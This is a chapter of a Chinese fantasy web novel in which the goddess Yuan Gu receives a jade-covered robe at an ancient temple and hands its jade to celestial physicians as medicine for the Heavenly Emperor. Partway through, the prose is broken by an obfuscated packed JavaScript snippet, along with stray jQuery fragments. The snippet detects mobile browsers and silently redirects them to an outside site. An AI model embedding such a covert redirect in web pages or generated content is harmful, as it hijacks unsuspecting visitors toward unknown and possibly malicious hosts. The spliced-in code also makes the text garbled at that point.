亘古神殿的小土包,到了近前才发现,不过凡间的一座坟头那么高。
真奇怪了,一般事物都是近大远小,而它完全相反。
在云头上,我能想象出山壳子底下的神殿是多么的宏伟。
到了眼前,就变成了感概这里面的小神殿,结构有多精巧。
传说亘古神是个特别接地气儿的神明,她不挨着亲手所造的非空山居住,偏偏挑了个离虚境山和下界更近的下一弦建殿。
估计也是个爱到处溜达的神,这点我觉得蛮亲切。
还听说啊,她一旦出门便将上古神殿弄个山丘罩起来。
如果哪一天,神殿露出真颜,那一定是亘古神归来。
然而,几十万年了,来这儿拜亘古神,就像上坟一样,对着小土包弯弯腰就是了。
想见神殿的样子,那就可劲儿活,等亘古神能想起家,愿意回来总能遇见。
我发现也有等不及的,就比如我眼睛贴着的小洞。
这应该就是某位不愿留下姓名的鼠仙的杰作,打盗洞打半截,牙崩里头了。
我睁一只眼闭一只眼企图借着洞口看出点儿神殿的一星半点,却只看到那颗门牙在呜呜哀哉,闪闪发亮。
仙牙都磕不动的亘古神院墙,我这眼睛自然也看不穿。
视线移动到土包旁的古神圆台。
四根仙力柱子占据东南西北正位,高约两座上七弦玄观楼那么高,威武耸立,气脉冲天。
圆台的最宽处约莫可以并排摆下二十个小土包。
跟古神殿比起来,有些比例失调。
再看四野空茫茫,望不到尽头的黄沙屏障,我得出结论,要按照古神台的比例,来推测上古神殿的大小。
大概,所有的空间,所有的屏障隐藏处,都是亘古神殿的砖转瓦瓦,飞檐,回廊……
不是我夸口,它真的太大了,恢弘而住不过来。
黄沙屏障渺渺茫茫,空又不空,荡又平静,看得我迷蒙恍惚。
不一会儿,我似乎看出了哪里是门廊,哪里是书阁,哪里又是……
唉?一排排的,那是什么?
一阵风卷来,我的眼睛迷离了一瞬。
而后,就再也看不见那些,像是想象中的场景了。
难道,是上古神显圣?
我也太幸运了吧,那么,是不是代表我的愿望,一定能实现!
立即抬起步子,大摆衣裙,穿过仙力柱子间的星芒,迈上古神台。
我如一叶落花重回枝头,但觉时序失去流转,这里只有春意绵绵。
周身的上古神力,像是一圈野游斑斑的鱼群,将我环绕在中心。
紧接着,一群又一群的仙气汇聚成光链,灵蛇般摇曳,近身蜿蜒爬行。
神力仙力荟萃成亲昵,久久围绕着我。
「这是在感应许愿者真诚度的考验?」
我不知道,也不知道还要考验多久,这种如沐浴在本源之流中的感觉,既安宁又美妙。
甚至,我有种错觉,仿佛古神台在跟我撒娇,找我许愿?
我不过一位小神女,又能满足古神台什么愿望呢?
给它搭个通天蓬,弄圈围栏,还是给它斑驳的地面铺一层仙砖?
好像都不是,古神台在召唤我,希望我多陪它一会儿?
那好吧,看来我的心愿属实为难它和亘古神了。
我默默闭上了等待的眼睛。
呼,有风吹过。
识海里,浮现出一座座连绵高山,山石在叮铃作响,齐吹天籁。
而后,有一抹身影徐徐行来,朦胧一片,我心下似乎了然,他来自无界天外。
可是!
那是谁?我又怎会知道无界天外?
山石的叮铃音仍然在耳边清脆作响,浑身是玉沁的舒适薄凉。
一种曼妙轻纱环绕身体的熟悉感,冲散疑惑。
我张开嘴,瞬间睁眼。
这是?
我低头展臂一瞧,仙衣居然换了一件!
哇,这是亘古神把她的衣服送给我了吧。
太美啦!
身上的仙袍星辉为经纬,仙力织锦绣。
流光溢彩如日月同辉,轻盈飘渺似青萍风起。
坠以通身白玉琳琅,翠碧环佩,轻轻一动便玎玲脆吟,敲若流泉。
我乐呵呵在古神台的神雾仙尘里转圈圈,玉声随着我跃动回响。
转着转着我忽然想到,我的愿望不是要给天帝找到培补仙体的上古仙药吗?
为啥亘古神给我穿上一件挂满各种玉矿精髓的仙衣?
难道说赏心悦目就是医治良药,那我可愿意极了。
我现在要不要赶紧去紫极殿,给天帝看上一看!
当然要,万一……
念头未落,我身披满身脆响,长链星光,如彗星倒流,窜上云头。
然而,方一到空中,一束耀眼红尘从非空山山顶倏然而落。
红光在我眼前凝成一团,化出一位艳丽仙者,远远地将我凝望。
他,红衣银发,额间一痕桃瓣神印。
我顿时惊得勒住云头,不敢动了。
他,他,他!
难道就是宥情桃居,帝君,驿风蕖!
我怔怔地看他。
他若有所思,回望着我。
就见,桃花面来,桃花眼,银色随风,茫然无情,立云间。
「我好像与他至少有四十万年没见过面了。」
一丝沉吟划过识海。
谁?是谁在说话?
我的识海一瞬波动,旋即转归平静。
逸风渠凝望的眼神渐渐暗淡松懈。
我捏紧的小心脏扑通扑通,逐渐放松。
也许帝君只是路过?我琢磨着怎么悄咪咪也搞个路过。
正在这时,忽见一道玄色靓影,手持「归妄元一」枪,腾云而来。
他把我吓得更坏了,全身战甲恢复男身的奘黧帝君怎么也来了。
我低头看了看仙衣,心里发毛。
难道他们觉得,这仙衣是我从上古神殿盗来的?
哎呀,没呀,鸢姀我没偷,帝君们不要误会,可不能揍我!
我脚下发颤,云头怂得打起摆子,跟我一样,太没出息。
此刻,我脑子飞转:是不是该把谢烬洄叫过来,让他给我当挡箭牌?
不行,不行,还是我自己抗吧,哎。
不曾想,两位帝君各自看我一会儿,便相视一笑。
眨眼间,一拍即合,步调一致,各化各的红烟黑烟儿飞走了。
还,只字未留。
我呆在空中瞪了半天眼睛,终于眨了一下。
看样子,我没事儿了?
是他俩有啥事儿吧!比如,约着在这儿见面,然后,被我撞见,耽误了什么什么机会?
我一拍脑门:不会,不会,一天天的刚脱险,就往险地乱想。
现在,赶快到紫极殿,给圣晟天帝转圈圈治病才是当务之急。
嗖~
到了紫极殿广场前,我先跟太素无念石行个礼。
我头刚低下,猛地抬起来。
那太素无念石是不是闪了一下,白光?
没有啊,它还是渊黑渊黑的。
是我眼花?一定是的,谁一日看见两帝君,能不迷糊。
我寻思先找个传令官问询下天帝的情况,要是他身体不舒服,我便明日再来。
结果,我刚踏上一层殿外仙阶,还在嗅着碧波池里的莲花香。
只见,以老天医岐菟为首的仙界天医团,正从殿内鱼贯而出,一双双整日陷在医书草药漩涡里的眼,顿时滋补起来,全都水汪汪的,盯住我。
这是咋啦?
他们这么多仙医,一看到我,就像胖头蜜蜂见到了花粉浓郁的花朵,眼神暴露出他们在琢磨怎么酿我。
岐菟天医抬手一压,将那些身后的天医们留在原地,不让他们沸腾开锅。
老天医走过来,客客气气叫住我。
“鸢姀神女,你身上这些玉髓精魄从何而来?”
他问的不是仙衣,而是这些环佩挂件。
我一五一十,讲诉了仙衣的来历,说是亘古神所赐。
岐菟激动万分,连说几句亘古神庇佑。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289371|180461||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天医询问我能不能由他取下一块,好生看看,他说这些玉髓怕是全仙界苦寻十万年,都寻不见的宝贝。
我当即允许。
岐菟取下一枚,招来几个资历(褶子)一看就老的天医一起查看。
他们越看越激动,全都赞美起亘古神。
最后,我看见岐菟天医使出「九转凝丹术」化玉石为齑粉。
粉尘在空中飘啊飘,神力萦绕。
几位天医当空拈下粉末,在指尖上嗅闻,品鉴。
不一会儿,全部彼此道喜,点头称是。
天医岐菟更是喜不自胜,快步跑来对我说:“鸢姀神女,大喜大喜,亘古神定是听到了全仙界的心愿,让鸢姀神女您当做她的使者,赐下了老医苦寻多时的上古神药。
有此药在,天帝的仙体定能恢复痊愈,再无后患。”
“那,太好了,”我也分外欢喜,歪打正着了不是,“原来亘古神赐下的,真就是培补仙体的良药。
是鸢姀眼拙,没看出来,还得是……”
“鸢姀神女,恕老医冒昧,”岐菟打断我的恭维话,在我身上严肃地扫了一眼。
“余下的玉髓,能否悉数卸下交给天医院?”
我痛快点头,虽然玉石挂在身上很漂亮,但该舍就要舍。
“只是……”歧菟天医又说,“这些药量,应是不够,不知鸢姀神女明日,能否再去亘古神殿向上古神多求要一些?”
“当然可以。”我毫不犹直,接问他,“要多少?”。
岐菟捋捋胡子,计算计算我仙衣玉石的量,又和其他仙医交流一番,才胸有成竹转向我。
“若是每次都如今日这般多,至少还要一月的药量。”
“行,”我说,“就算亘古神一次不给我这么多,本神女也愿意为圣晟天帝跑上一个月。
只要,亘古神,肯赐予我。”
岐菟胡子一抖,冲我重重点头。
我们约定,若是我求到了玉石,明日这个时辰,天医院见。
接下来,一众仙医将我围住,一起行礼,道了一声。
“鸢姀神女,冒犯了!”
于是,我身上的玉髓们,成了离树的落叶,一片一片在仙气星光里飘零而去。
最终,落在每一位天医的沃土手心,
离开紫极殿时,我既觉得自己很壮烈,也感到一阵落寞。
毕竟,孔雀被拔了尾羽之后的心情,我体会到了。
天帝服过玉粉后需要休息,我也需要安抚下心情。
尽管,飞回清凝阁一路上,偶遇的仙友都会夸我今日衣衫很美,有的还补上一句是不是谢神君送的。
我只能苦涩地跟他们打哈哈:谢谢,对,好,是……
哎,只有我才知道,这件仙衣全盛时,是怎样的风采。
推开魔窟门,我直接坐在桌子旁照盆盆。
那里面当然没有谢烬洄,他大概日落西山之后,才能得闲回莫须尘渊。
今日,其实过得特别有意义。
给真颜十二仙子赐名,去了亘古神殿得到神药,见到了两位帝君……
最重要的是,圣晟天帝的病会大好,其中还有我的功劳。
真好。
我手肘撑桌面,手心托起脸颊,情不自禁对着虚空说:“谢烬洄,你知道吗,我今日……”
「鸢姀,你傻啦!还以为盆盆里会和之前一样,问必有回声吗?」
想到他不在,我一瞬失落。
谁知,盆盆水面微微一动,紧接着传来我此刻最想听的声音。
“鸢姀,今日,你怎么了?”
是他!我心头一颤。
我朝盆盆里瞧去,看见谢烬洄正卧在一张银光榻子上侧身注视着我。
嘴角不自觉带上笑意,我见到他的第一反应,竟然是,我想……损他。
“谢烬洄,原来你不仅逃祖君的学,还逃你徒弟的课。
哟呦呦,好个能逃就逃的谢神君。”
他懒洋洋一笑,盆子里的脸又变大了,他无赖地说。
“怪谁呀,怪鸢姀今日想我太多次,即便我逃,也是你唆使的。”